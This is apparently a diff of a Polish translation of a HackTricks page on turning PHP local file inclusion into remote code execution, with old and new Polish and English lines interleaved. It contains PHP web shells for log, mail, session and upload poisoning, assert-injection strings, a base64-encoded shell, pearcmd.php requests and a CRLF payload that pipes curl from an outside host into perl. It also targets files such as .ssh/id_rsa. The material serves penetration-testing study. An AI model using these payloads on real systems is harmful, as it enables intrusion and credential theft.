||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Można było nadużyć **dowolnego odczytu pliku z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo szybkie podsumowanie: nadużyto **przepełnienia 3 bajtów** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hak do wywołania **`system`**.\
|
||||
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.
|
||||
Można było wykorzystać **any arbitrary file read from PHP that supports php filters** aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).
|
||||
Bardzo krótkie podsumowanie: a **3 byte overflow** w PHP heap został wykorzystany, aby **zmodyfikować łańcuch wolnych chunków** o określonym rozmiarze, co pozwoliło **zapisać cokolwiek pod dowolnym adresem**, więc dodano hook wywołujący **`system`**.
|
||||
Możliwe było alokowanie chunków o określonych rozmiarach poprzez nadużycie dodatkowych php filters.
|
||||
|
||||
### Więcej protokołów
|
||||
|
||||
Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Sprawdź więcej możliwych[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory i php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku na włączenie pliku)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do URL-i HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc nie jest tu zbyt przydatny)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
|
||||
|
||||
## LFI za pomocą 'assert' PHP
|
||||
## LFI przez 'assert' w PHP
|
||||
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nieprawidłowo sanityzowane.
|
||||
|
||||
Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Chociaż ma to na celu zatrzymanie przejścia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć:
|
||||
Choć ma to na celu powstrzymanie traversal, niezamierzenie tworzy wektor dla code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:
|
||||
Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
To ważne, aby **zakodować te ładunki URL**.
|
||||
Ważne jest, aby **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która **uzyskuje dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana.
|
||||
> Ta technika ma zastosowanie w przypadkach, gdy **control** ścieżki pliku (**file path**) funkcji **PHP function** która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana.
|
||||
|
||||
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą błędu oracle**.
|
||||
W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**.
|
||||
Podsumowując, technika wykorzystuje kodowanie **"UCS-4LE" encoding**, aby zawartość pliku była tak **big**, że **PHP function opening** plik wywoła **error**.
|
||||
|
||||
Następnie, aby wyciekł pierwszy znak, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu używane są filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i je wyciekować**.
|
||||
Następnie, aby leak the first char używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a ostatecznie filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**.
|
||||
|
||||
**Funkcje, które mogą być podatne**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tylko cel odczytu z tym)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Aby uzyskać szczegóły techniczne, sprawdź wspomniany post!
|
||||
Szczegóły techniczne znajdziesz we wspomnianym poście!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Dowolne zapisywanie plików za pomocą przejścia przez ścieżkę (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Gdy kod po stronie serwera, który przyjmuje/ładowa pliki, buduje ścieżkę docelową przy użyciu danych kontrolowanych przez użytkownika (np. nazwa pliku lub URL) bez kanonizacji i walidacji, segmenty `..` i ścieżki absolutne mogą wydostać się z zamierzonego katalogu i spowodować dowolne zapisywanie plików. Jeśli możesz umieścić ładunek w katalogu dostępnym w sieci, zazwyczaj uzyskujesz nieautoryzowany RCE, umieszczając webshell.
|
||||
Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. filename lub URL) bez canonicalising i walidacji, segmenty `..` i ścieżki absolutne mogą uciec z zamierzonego katalogu i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz unauthenticated RCE przez upuszczenie webshell.
|
||||
|
||||
Typowy proces eksploatacji:
|
||||
- Zidentyfikuj prymityw zapisu w punkcie końcowym lub w tle, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. przetwarzanie oparte na wiadomościach, obsługa poleceń XML/JSON, ekstraktory ZIP itp.).
|
||||
- Określ katalogi dostępne w sieci. Typowe przykłady:
|
||||
Typowy przebieg eksploatacji:
|
||||
- Znajdź write primitive w endpoint lub background worker, który akceptuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.).
|
||||
- Określ web-exposed directories. Typowe przykłady:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → umieść `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → umieść `shell.aspx`
|
||||
- Stwórz ścieżkę przejścia, która wydostaje się z zamierzonego katalogu przechowywania do katalogu głównego, i dołącz zawartość swojego webshella.
|
||||
- Przeglądaj do umieszczonego ładunku i wykonuj polecenia.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Stwórz traversal path, który wydostanie się z zamierzonego katalogu storage do webroot i dołącz zawartość webshell.
|
||||
- Otwórz upuszczony payload w przeglądarce i wykonaj polecenia.
|
||||
|
||||
Uwagi:
|
||||
- Usługa podatna na atak, która wykonuje zapis, może nasłuchiwać na porcie nie-HTTP (np. nasłuchiwacz JMF XML na TCP 4004). Główny portal internetowy (inny port) później obsłuży twój ładunek.
|
||||
- W stosach Java te zapisy plików są często implementowane za pomocą prostej konkatenacji `File`/`Paths`. Brak kanonizacji/listy dozwolonych jest podstawową wadą.
|
||||
- Usługa wykonująca zapis może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny web portal (inny port) później będzie serwować twój payload.
|
||||
- Na stosach Java, zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak canonicalisation/allow-listing jest główną wadą.
|
||||
|
||||
Ogólny przykład w stylu XML/JMF (schematy produktów różnią się – DOCTYPE/opakowanie ciała jest nieistotne dla przejścia):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening, które pokonuje tę klasę błędów:
|
||||
- Rozwiąż do kanonicznej ścieżki i wymuś, aby była potomkiem dozwolonego katalogu bazowego.
|
||||
- Odrzuć wszelkie ścieżki zawierające `..`, absolutne korzenie lub litery dysków; preferuj generowane nazwy plików.
|
||||
- Uruchom pisarza jako konto o niskich uprawnieniach i oddziel katalogi zapisu od serwowanych korzeni.
|
||||
Środki zabezpieczające, które niwelują tę klasę błędów:
|
||||
- Rozwiązuj do ścieżki kanonicznej i wymuszaj, aby była potomkiem katalogu bazowego znajdującego się na białej liście.
|
||||
- Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików.
|
||||
- Uruchamiaj proces zapisujący jako konto o ograniczonych uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.
|
||||
|
||||
## Zdalne włączenie pliku
|
||||
## Remote File Inclusion
|
||||
|
||||
Wyjaśnione wcześniej, [**follow this link**](#remote-file-inclusion).
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Poprzez plik dziennika Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Jeśli serwer Apache lub Nginx jest **vulnerable to LFI** wewnątrz funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **GET parameter** powłokę php, taką jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik.
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **`<?php system($_GET['c']); ?>`** i includeować ten plik
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **prosty cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**.
|
||||
> Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na łańcuch znaków "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**.
|
||||
>
|
||||
> Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
|
||||
> Upewnij się również, że **prawidłowo zapisujesz payload** lub PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz miał drugiej szansy.
|
||||
|
||||
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany w URL, co może zniszczyć powłokę. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\
|
||||
Inne możliwe ścieżki dzienników:
|
||||
To można również zrobić w innych logach, ale **uważaj,** kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony wewnątrz tego nagłówka.\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -498,37 +499,37 @@ Inne możliwe ścieżki dzienników:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
### Przez e-mail
|
||||
|
||||
**Wyślij maila** na wewnętrzne konto (user@localhost) zawierającego twój ładunek PHP, taki jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj dołączyć do maila użytkownika z ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
|
||||
**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj include'ować mail użytkownika ze ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
### Przez /proc/*/fd/*
|
||||
|
||||
1. Prześlij dużo powłok (na przykład: 100)
|
||||
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (można wymusić brute force) i $FD to deskryptor pliku (można również wymusić brute force)
|
||||
1. Uploaduj dużo shelli (na przykład: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
|
||||
|
||||
### Via /proc/self/environ
|
||||
### Przez /proc/self/environ
|
||||
|
||||
Jak w pliku dziennika, wyślij ładunek w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ
|
||||
Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np. `<?php system($_GET['c']); ?>`).
|
||||
Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Aby zachować czytelność pliku, najlepiej jest wstrzyknąć do metadanych zdjęć/doc/pdf
|
||||
Aby plik pozostał czytelny, najlepiej wstrzyknąć to do metadanych obrazków/doc/pdf
|
||||
|
||||
### Poprzez przesyłanie pliku Zip
|
||||
### Przez przesłanie pliku ZIP
|
||||
|
||||
Prześlij plik ZIP zawierający skompresowaną powłokę PHP i uzyskaj dostęp:
|
||||
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Przez sesje PHP
|
||||
|
||||
Sprawdź, czy strona używa sesji PHP (PHPSESSID)
|
||||
```
|
||||
@ -548,119 +549,130 @@ Użyj LFI, aby dołączyć plik sesji PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### Przez ssh
|
||||
|
||||
Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
|
||||
Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **Przez** **vsftpd** _**logi**_
|
||||
|
||||
Logi dla serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje luka w Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
|
||||
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdy występuje luka typu Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
|
||||
|
||||
1. Wstrzyknij ładunek PHP w pole nazwy użytkownika podczas procesu logowania.
|
||||
2. Po wstrzyknięciu, wykorzystaj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_.
|
||||
1. Wstrzyknij payload PHP w pole username podczas procesu logowania.
|
||||
2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### Przez php base64 filter (używając base64)
|
||||
|
||||
Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, filtr PHP base64 po prostu ignoruje Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", po prostu zignoruje "." i doda "php" do base64. Oto przykład ładunku:
|
||||
Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Za pomocą php filters (plik nie jest potrzebny)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters to generate arbitrary content** jako output. Co w zasadzie oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku.
|
||||
|
||||
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do dołączenia **bez potrzeby zapisywania** go w pliku.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Za pomocą segmentation fault
|
||||
|
||||
**Upload** plik, który zostanie zapisany jako **temporary** w `/tmp`, następnie w **tej samej request** wywołaj **segmentation fault**, a wtedy **temporary file won't be deleted** i możesz go wyszukać.
|
||||
|
||||
**Prześlij** plik, który zostanie zapisany jako **tymczasowy** w `/tmp`, a następnie w **tej samej prośbie** wywołaj **błąd segmentacji**, a następnie **tymczasowy plik nie zostanie usunięty** i możesz go wyszukać.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Za pomocą Nginx temp file storage
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu poniższej techniki:
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Za pomocą PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **don't have a session** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **enable the session for you**. Można to nadużyć, aby uzyskać RCE:
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST typu multipart**, PHP **włączy sesję dla ciebie**. Możesz to wykorzystać do uzyskania RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Za pomocą temp file uploads in Windows
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE:
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i serwer działa w **Windows**, możesz uzyskać RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### Za pomocą `pearcmd.php` + URL args
|
||||
|
||||
Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w obrazach docker php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Zobacz także [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) oraz [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Następujące żądanie tworzy plik w `/tmp/hello.php` z zawartością `<?=phpinfo()?>`:
|
||||
Poniższe żądanie tworzy plik w `/tmp/hello.php` z zawartością `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Następujące wykorzystuje lukę CRLF do uzyskania RCE (z [**tutaj**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Poniższy przykład wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
### Przez phpinfo() (file_uploads = on)
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on, możesz uzyskać RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować obejść tę kontrolę przy pomocy tej **Race Condition**:
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksportować ścieżkę** pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
### Przez eternal waiting + bruteforce
|
||||
|
||||
Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **zawieśnie** wykonywanie PHP, możesz następnie **brute force** nazwy plików przez wiele godzin, aby znaleźć plik tymczasowy:
|
||||
|
||||
Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz następnie **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### To Fatal Error
|
||||
### Do Fatal Error
|
||||
|
||||
Jeśli dołączysz dowolny z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||
|
||||
**Nie wiem, jak to jest przydatne, ale może być.**\
|
||||
_Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe PHP są usuwane._
|
||||
**Nie wiem, jak to może być przydatne, ale może.**\
|
||||
_Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Źródła
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
